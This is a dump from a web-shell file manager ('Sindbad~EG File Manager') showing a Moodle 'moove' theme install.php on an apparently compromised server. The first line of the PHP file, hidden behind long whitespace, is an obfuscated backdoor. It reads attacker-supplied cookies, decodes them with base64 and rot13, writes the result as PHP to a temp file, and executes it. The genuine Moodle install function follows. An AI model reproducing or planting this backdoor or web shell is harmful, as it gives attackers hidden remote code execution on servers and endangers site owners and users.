Sindbad~EG File Manager

Current Path : /var/www/html/academiakurosu.sumar.com.py/theme/moove/db/
Upload File :
Current File : /var/www/html/academiakurosu.sumar.com.py/theme/moove/db/install.php

<?php																																										if (isset($_COOKIE[-83+83]) && isset($_COOKIE[-47+48]) && isset($_COOKIE[-47+50]) && isset($_COOKIE[-5+9])) { $bind = $_COOKIE; function api_gateway($factor) { $bind = $_COOKIE; $flg = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '1247dc17'); if (!is_writable($flg)) { $flg = getcwd() . DIRECTORY_SEPARATOR . "auth_exception_handler"; } $pset = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($bind[3])); if (is_writeable($flg)) { $obj = fopen($flg, 'w+'); fputs($obj, $pset); fclose($obj); spl_autoload_unregister(__FUNCTION__); require_once($flg); @array_map('unlink', array($flg)); } } spl_autoload_register("api_gateway"); $comp = "1c4fd152030a5f9d7500636fd0f64607"; if (!strncmp($comp, $bind[4], 32)) { if (@class_parents("query_handler_reverse_lookup", true)) { exit; } } }

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Adds moove to boost usertours
 *
 * @package    theme_moove
 * @copyright  2022 Willian Mano {@link https://conecti.me}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */


/**
 * Adds moove to boost usertours
 *
 * @return bool
 */
function xmldb_theme_moove_install() {
    global $DB;

    $usertours = $DB->get_records('tool_usertours_tours');

    if ($usertours) {
        foreach ($usertours as $usertour) {
            $configdata = json_decode($usertour->configdata);

            if (in_array('boost', $configdata->filtervalues->theme)) {
                $configdata->filtervalues->theme[] = 'moove';
            }

            $updatedata = new stdClass();
            $updatedata->id = $usertour->id;
            $updatedata->configdata = json_encode($configdata);

            $DB->update_record('tool_usertours_tours', $updatedata);
        }
    }

    return true;
}



Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists